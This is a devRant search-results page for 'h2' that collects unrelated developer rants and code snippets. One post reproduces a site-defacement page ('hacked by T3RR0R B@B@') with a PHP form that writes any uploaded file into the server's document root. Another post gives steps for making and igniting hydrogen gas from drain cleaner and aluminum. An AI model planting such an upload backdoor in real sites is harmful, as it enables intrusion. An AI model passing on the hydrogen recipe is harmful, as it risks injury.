Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API

From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "h2"
-
Another rant about my gf
She tried HTML and well, cause there are h1, h2, h3... instead of classes, she used div, div2...17 -
Weirdest co-worker... We'll not to be judgy, but I think our industry is sort of home of the weirdos, but.. there's a few over-the-top weirdees we've had at work.
First one that comes to mind was a guy that walked liked Mr. Burns, hands behind the back & chest out. He microwaved the same thing every single day for breakfast - crackers, sausage and cheese. 😖This guy would get to his tasks very slowly, wouldn't talk to anyone on our team, and would go missing from his desk a lot, sometimes for extended periods (2+ hours). He really struggled to catch on to easy tasks. He quit after a few months, thank god.
Another weirdo we had was a girl who just couldn't dress to save her soul. She would wear these ugly ass sneakers that had neon colors reminiscent of bowling shoes (neon orange and green) and would wear turtlenecks and floor length skirts that all the colors just clashed. Her outfits were uglier than your great grandma's. Myself, her and 2 other girls dressed up as the Dr. Seuss things for Halloween, but did h1, h2, etc. tags instead and she put like rope from curtains in her hair with like 10 little pony tails. Just like wtf. She would play her gameboy at lunch and not talk to anyone much. She was really bad at our job, a lot of clients complained. She would literally read a book, braid her bangs or nap at her desk. Needless to say, she was fired.6 -
Hydrogen gas is fun. Really fun :D
Me and my brother were really bored earlier today. So what do two dudes, 14 and 17 do on a warm spring day?
1. Go to store.
2. Buy drain cleaner, aluminum foil, balloons and a big drink in a glass bottle.
3. Drink the drink.
4. Shred aluminum in a document shredder.
5. Mix alu, drain cleaner and water in the bottle.
6. Quickly put a balloon over the bottle opening.
7. Wait.
8. Get a lighter and blow that shit up! 🔥
9. Repeat until you run out of balloons.
10. Don't kill yourself doing this.7 -
Went to Google Firebase Appfest
Made an App
Selected in the Top 3
Worked on the app further for 1 Month
Published it in the Play Store
Here is the Link-
Fling! Contact Share
Information Sharing Made Easier
Here's the Link-
https://play.google.com/store/apps/...4 -
And there you go...\(◎o◎)/rant linkedin amarite joke/meme algorithms what? what the fuck datastructures wtf? linkedin linkedin is shit3
-
Our Product Manager is so amazing that,
1-> She writes FEEDBACKs in Trello
2-> BUGs in MS Excel
3-> and Upcoming FEATUREs in her DIARY
and best part is She used to work as Developer in MnC2 -
If you are teaching a newbie HTML and basic JS using ES6/ES2015 features, the "Hello World" app probably would be:
<!-- index.html -->
<html>
<body>
<div id='container'>
<h2> Enter a Name and Hit The Button</h2>
<input id='name'>
<button id='change-name'>Say Hello</button>
<h3 id='name-display'></h3>
</div>
<script type='module' src="./index.js"></script>
</body>
</html>
//index.js
import {sayHello} from './hello.js';
let displayArea = document.getElementById('name-display');
let input = document.getElementById('name');
let button = document.getElementById('change-name');
button.addEventListener('click', () => {
//displayArea.innerHTML = "Hello World"
displayArea.innerHTML = sayHello(input.value);
});
//hello.js
export const sayHello = (name='World') => {
return `Hello ${name}`;
};
Source: https://github.com/benmccormick/...7 -
SEO analyst (hired by client) sends his inform to client, designer and developer (me) and all it says is: use friendly urls, proper use of h1, h2..., use alt in img tags...
Come on dude! Those are obvious things to any webdev out there who earns his salary. Do YOUR fucking job, do some fucking research and DO NOT dare to tell me page title and meta description are important (Really? No shit genius!) and tell me THE page title and THE fucking meta description... Or...
Fuck off and go find some other victim to trick with your bullshit marketing slang.3 -
Hey, been gone a hot minute from devrant, so I thought I'd say hi to Demolishun, atheist, Lensflare, Root, kobenz, score, jestdotty, figoore, cafecortado, typosaurus, and the raft of other people I've met along the way and got to know somewhat.
All of you have been really good.
And while I'm here its time for maaaaaaaaath.
So I decided to horribly mutilate the concept of bloom filters.
If you don't know what that is, you take two random numbers, m, and p, both prime, where m < p, and it generate two numbers a and b, that output a function. That function is a hash.
Normally you'd have say five to ten different hashes.
A bloom filter lets you probabilistic-ally say whether you've seen something before, with no false negatives.
It lets you do this very space efficiently, with some caveats.
Each hash function should be uniformly distributed (any value input to it is likely to be mapped to any other value).
Then you interpret these output values as bit indexes.
So Hi might output [0, 1, 0, 0, 0]
while Hj outputs [0, 0, 0, 1, 0]
and Hk outputs [1, 0, 0, 0, 0]
producing [1, 1, 0, 1, 0]
And if your bloom filter has bits set in all those places, congratulations, you've seen that number before.
It's used by big companies like google to prevent re-indexing pages they've already seen, among other things.
Well I thought, what if instead of using it as a has-been-seen-before filter, we mangled its purpose until a square peg fit in a round hole?
Not long after I went and wrote a script that 1. generates data, 2. generates a hash function to encode it. 3. finds a hash function that reverses the encoding.
And it just works. Reversible hashes.
Of course you can't use it for compression strictly, not under normal circumstances, but these aren't normal circumstances.
The first thing I tried was finding a hash function h0, that predicts each subsequent value in a list given the previous value. This doesn't work because of hash collisions by default. A value like 731 might map to 64 in one place, and a later value might map to 453, so trying to invert the output to get the original sequence out would lead to branching. It occurs to me just now we might use a checkpointing system, with lookahead to see if a branch is the correct one, but I digress, I tried some other things first.
The next problem was 1. long sequences are slow to generate. I solved this by tuning the amount of iterations of the outer and inner loop. We find h0 first, and then h1 and put all the inputs through h0 to generate an intermediate list, and then put them through h1, and see if the output of h1 matches the original input. If it does, we return h0, and h1. It turns out it can take inordinate amounts of time if h0 lands on a hash function that doesn't play well with h1, so the next step was 2. adding an error margin. It turns out something fun happens, where if you allow a sequence generated by h1 (the decoder) to match *within* an error margin, under a certain error value, it'll find potential hash functions hn such that the outputs of h1 are *always* the same distance from their parent values in the original input to h0. This becomes our salt value k.
So our hash-function generate called encoder_decoder() or 'ed' (lol two letter functions), also calculates the k value and outputs that along with the hash functions for our data.
This is all well and good but what if we want to go further? With a few tweaks, along with taking output values, converting to binary, and left-padding each value with 0s, we can then calculate shannon entropy in its most essential form.
Turns out with tens of thousands of values (and tens of thousands of bits), the output of h1 with the salt, has a higher entropy than the original input. Meaning finding an h1 and h0 hash function for your data is equivalent to compression below the known shannon limit.
By how much?
Approximately 0.15%
Of course this doesn't factor in the five numbers you need, a0, and b0 to define h0, a1, and b1 to define h1, and the salt value, so it probably works out to the same. I'd like to see what the savings are with even larger sets though.
Next I said, well what if we COULD compress our data further?
What if all we needed were the numbers to define our hash functions, a starting value, a salt, and a number to represent 'depth'?
What if we could rearrange this system so we *could* use the starting value to represent n subsequent elements of our input x?
And thats what I did.
We break the input into blocks of 15-25 items, b/c thats the fastest to work with and find hashes for.
We then follow the math, to get a block which is
H0, H1, H2, H3, depth (how many items our 1st item will reproduce), & a starting value or 1stitem in this slice of our input.
x goes into h0, giving us y. y goes into h1 -> z, z into h2 -> y, y into h3, giving us back x.
The rest is in the image.
Anyway good to see you all again.27 -
Someone created a 0-followers private Twitter account and posted something to try out the new views count feature.
It raked dozens of views in a couple hours.
HOW?!?
Source: https://twitter.com/briggityboppity...
It looks like a funny data reverse-engineering exercise, so let's try and figure out what is going on.
Hypothesis 1) it is the OP's own views.
Reasonable, but unlikely if what OP says about not checking it for hours is true.
H2) It's some background job in OP's device that is refreshing OP's own latest tweets, so even without human interaction technically H1 is true. It would be some really shoddy engineering to count eye-less page views, but that's also what managers would demand.
H3) it's some internal Twitter automated function like back up, replication, indexing and word count.
See H2, it would be even dumber to count that as page views.
H4) it's some internal human reviewing for a keyword that could be associated with porn (in this case, "butts"). Really? dozens of humans to review a no-impact single post? They would have to employ hundreds of thousands of reviewers.
H5) it's some page-loading shit, like thousands of similar tweets get stored in the same index hash page and end up counting as a view in all of them every time someone loads the index page. It would be like counting every hit in the namenode as a hit in every data asset in it's Hadoop partition, or every hit in a storage block as a hit in each of it's files.
Duuuumb and kinda like H3.
H6) page views are just a fraud to scam investors. Maybe it's a "most Blockchain transactions are fake" situation, maybe it's a "views get more engagement if you don't think a lot about it" situation, maybe it's a "we don't use the metric system to count page views" situation.
All of them are very dumb.
Other hypothesis or opinions?10 -
So I was working on a website for a club in my college. I designed a pretty decent UI and at first everyone accepted it. So I made a working website with my friend, made backend with node and all was set.
After that, the fucking member of club brought in another graphic designer for changes. And they literally made the whole website with heavy images. The designer made heavy neon backgrounds in Adobe Illustrator and didn't even compressed it.
They made the whole fucking website with images and they ran it all on localhost and were happy with the speeds! ಠ_ಠ
They even put an image in fucking Navbar!
And then I left that project, I could not see more destruction.1 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
This is why you don't hire your son's friend to build your company's website. From a live (new) customer site that needs to be rewritten:
<h2><span class="wsite-text wsite-headline">
<font size="6"><font size="5"><font size="4"><font size="3"><font size="4"><font size="5"><font size="6"><font size="7"><font size="7"><font size="7"><font size="7"><font size="7"></font></font></font></font></font></font></font></font></font></font></font></font><strong><font color="#e4e3f1" size="7">***REDACTED TITLE***</font></strong>
</span></h2>7 -
This fucking Integration test with h2 is driving me insane as it just doesn't work for what I need it to! 😤
The setup seems correct, the sql files are "processed" according to logs. Everything seems to be set up as supposed, as AI, colleagues or internet recommend ... yet no insert statements are shown and no data is found on retrieve. No schemas or tables exist in h2 console although log says all these millions of tables are apparently created.
WTF am I doing?9 -
I built my first web server literally from scratch (standard socket lib) today! In Python <3.
It is able to execute php and get the stdout to use it in the Python script afterwards and make use of parallel connections.
Now to the real rant...
I am using HTTP/1.1. I want to use h2 (aka HTTP/2) tho. I am stuck on this. Found the papers to the specs of the h2 and spdy protocols, but they are not really helpful.
Is anyone good in this field? Please let me know :/3 -
i received a job offer to work at area 51 on extremely sophisticated projects primarily as a c++ engineer. this is the highest pay offer i have ever seen, which i can not discuss right now, but what else to expect when you work for the government. i have bad perception about this. should i take this job or refuse?5
-
Does anyone else feels that LinkedIn is a kind of professional trash? Majority of users there are just for posting out their certificates and to but buzz words in their bio.13
-
I find goals for developers to be pure busy work and almost impossible set meaningful ones.
You can't set ticket based goals, because one ticket may take a week or an hour. You can't really set learning goals, because how do you measure 'learning Svelte'? And if that was your goal, what'd be the point of the outcome?
You can set goals like, ensure all tickets have at least one unit test... but then you get tickets that need to get out yesterday and you get people knocking on your door while you're trying to create meaningful tests.
But we often have a meeting to teach everyone how to set goals, then we have to sit and invent goals that satisfy someone in the org, then twist our usual daily work into some BS about how we're working towards the goals in 1:1s and then the whole thing is forgotten by H2, if not sooner. Just to be resurrected in Jan/Feb of next year.2 -
If somebody needs a project idea how about a really dumb JS Framework that allows you do basic DOM Manipulation, just like jQuery, directly in the elements class attribute.
For example this is how a document could look like:
<body class="init-hide-id-otherElement">
<button class="onclick-show-id-otherElement">
<h1 id="otherElement">Hello</h2>
</body>
What this does is first, at the body's init-* class, it hides the element with id otherElement at page load. Then, when you click the button, the element with id otherElement gets shown. Instead of *-id-* you could also use *-class-* which selects a class.
Basically the syntax is:
<event>-<action>-<id/class>-<the elements id/class>
Of course this has a lot of limitations, for example the selectors are very limited, but it would still be very cool!3 -
It's time for war!
I have two examples doing the same thing. They're bot generated by chatGPT.
React:
import React, { useState } from 'react';
function IncrementalButton() {
// Create state to hold the count value
const [count, setCount] = useState(0);
// Function to handle incrementing the count
const increment = () => {
setCount(count + 1);
};
return (
<div>
<h2>Count: {count}</h2>
<button onClick={increment}>Increment</button>
</div>
);
}
export default IncrementalButton;
VUE:
<template>
<div>
<h2>Count: {{ count }}</h2>
<button @click="increment">Increment</button>
</div>
</template>
<script>
export default {
data() {
return {
count: 0,
};
},
methods: {
increment() {
this.count++;
},
},
};
</script>
<style>
/* Add your CSS styles here if needed */
</style>
Whats better in your opinion?15 -
You know what really grinds my gears? Java libraries that use native libraries when they could have easily done their task without them.
I’m looking at you Couchbase Lite. Use H2, not SQLite you dumb shit. Be smart like Nitrite. -
I'm facing something strange, I have set the following headers in Nginx to return:
strict-transport-security: max-age=31536000; includeSubDomains
vary: Accept-Encoding
x-content-type-options: nosniff
X-Firefox-Spdy: h2
x-frame-options: SAMEORIGIN
x-xss-protection: 1
But I only get them when I browse root of my website, but if I go to https://website.com/subPage
those headers are not returned, now I did set them only on
"location / {}"
Any other headers I am missing that needs to be set?
in nginx, but how do I force it on all sub pages, or there is no need?2 -
“Let’s add another style/Layout for h2 so it looks like an h3. The content managers will figure out!” -client PO
MAYBE YOU SHOULD TELL YOUR CONTENT WANKERS TO READ THE FUCKING MANUAL -
when your daily machine is a 150$ chromebook with a celeron running ubuntu....terminal and vim, you are my friends....and the only things I can use without freezing the machine 😥4
-
I have review-style pages where I use h1, h2, and h3 to indicate the magnitude of a point I'm making. I liked it. I recently changed my template so it's all wrapped in an <article>, and just today I noticed that my h1s appear as h2s. Firefox wouldn't tell me what was going on, but Chromium let me see the relevant styles from the user agent style sheet, and WTF, h1s inside <article> or a few other semantic tags get styled to look exactly like h2s. WTF?!? I want my h1s back! But I don't want to pollute my stylesheet, and there isn't a good way to either, since I shouldn't be hardcoding the size of an h1 without hardcoding all the header sizes.7
-
Microsoft officially discontinued the Internet Explorer but that information still needs to be processed (●__●)
-
Duet AI: Revolutionizing Collaborative Music Creation
In the realm of music creation, collaboration has always been a cornerstone of innovation and artistic growth. With the advent of artificial intelligence (AI), a new era of collaborative music composition has emerged. Duet AI, a groundbreaking AI-powered system, is transforming the way musicians collaborate, enabling seamless interaction between human artists and AI algorithms. In this article, we will explore the concept of Duet AI and its impact on collaborative music creation.
H1: The Power of Duet AI in Collaborative Music Creation
Duet AI harnesses the capabilities of AI to facilitate real-time collaboration between musicians, composers, and AI algorithms. This innovative system acts as a virtual partner, responding to human input, providing creative suggestions, and adapting to the evolving musical dynamics. By integrating human creativity with the computational power of AI, Duet AI opens up new possibilities for artistic expression and the co-creation of music.
H2: Seamless Integration of Human and AI Musical Expertise
Duet AI seamlessly integrates the musical expertise of human artists with the analytical capabilities of AI algorithms. The system analyzes vast musical databases, identifying patterns, harmonies, and rhythms from various genres and eras. It uses this knowledge to generate musical ideas, chord progressions, and even complete compositions that complement and interact with the human artist's input. The result is a harmonious collaboration that pushes the boundaries of musical creativity.
H2: Enhancing Inspiration and Idea Generation
Duet AI serves as a valuable tool for musicians seeking inspiration and idea generation. It can offer suggestions, variations, and alternatives to human artists, fueling their creativity and sparking new musical directions. Whether it's exploring different melodies, experimenting with harmonies, or discovering innovative arrangements, Duet AI provides a constant stream of musical possibilities that can be integrated into the collaborative process.
H2: Real-time Adaptation and Musical Sensitivity
One of the key strengths of Duet AI lies in its ability to adapt and respond in real time to the human artist's input. The system listens and analyzes the music being created, dynamically adjusting its suggestions and responses to maintain coherence and musical sensitivity. This adaptability ensures that the AI component of the collaboration remains in sync with the human artist, enhancing the fluidity and natural flow of the music being created.
H2: Expanding Musical Horizons and Genre Blending
Duet AI enables artists to explore new musical horizons and experiment with genre blending. By incorporating AI-generated musical ideas, artists can transcend traditional boundaries and fuse elements from different styles and genres. The system's vast knowledge base allows it to generate musical segments that authentically capture the essence of diverse musical traditions, enabling artists to create unique and innovative compositions that push the boundaries of genre conventions.
H2: Preserving the Artist's Creative Vision
While AI plays an active role in the collaborative process, it is essential to acknowledge the artist's creative vision and maintain artistic ownership. Duet AI functions as a supportive collaborator, offering suggestions and ideas, but the final artistic decisions remain in the hands of the human artist. The system respects the artist's autonomy, ensuring that the collaboration is a true partnership that amplifies the artist's creativity rather than overshadowing it.
H1: Conclusion
Duet AI represents a significant leap forward in collaborative music creation. By combining the artistic expertise of human musicians with the computational power of AI, this innovative system opens up new frontiers of creativity and musical expression. Duet AI enhances inspiration, expands musical horizons, and enables seamless interaction between human and AI collaborators. As this technology continues to evolve, we can expect even more transformative possibilities in collaborative music creation, leading to a new era of artistic innovation.2 -
How (generally) do offer different persistence layers for an app?
So, I have used lots of apps (sorry, I'm talking a proper software system such as a Web based service (e.g. The Open Source XMPP server 'Openfire') in which you can choose what persistence back end you want (MySql or inbuilt H2/SQL light for example).
Within your code, how do you go about achieving this? Would you delegate the persistence to a separate class, and within that class figure out what the systems settings are and use the right connection string?
I'm currently using Java, Hibernate and would like to offer back ends of MySql, H2 and Redis, but the question is more conceptual than specific.
Many thanks.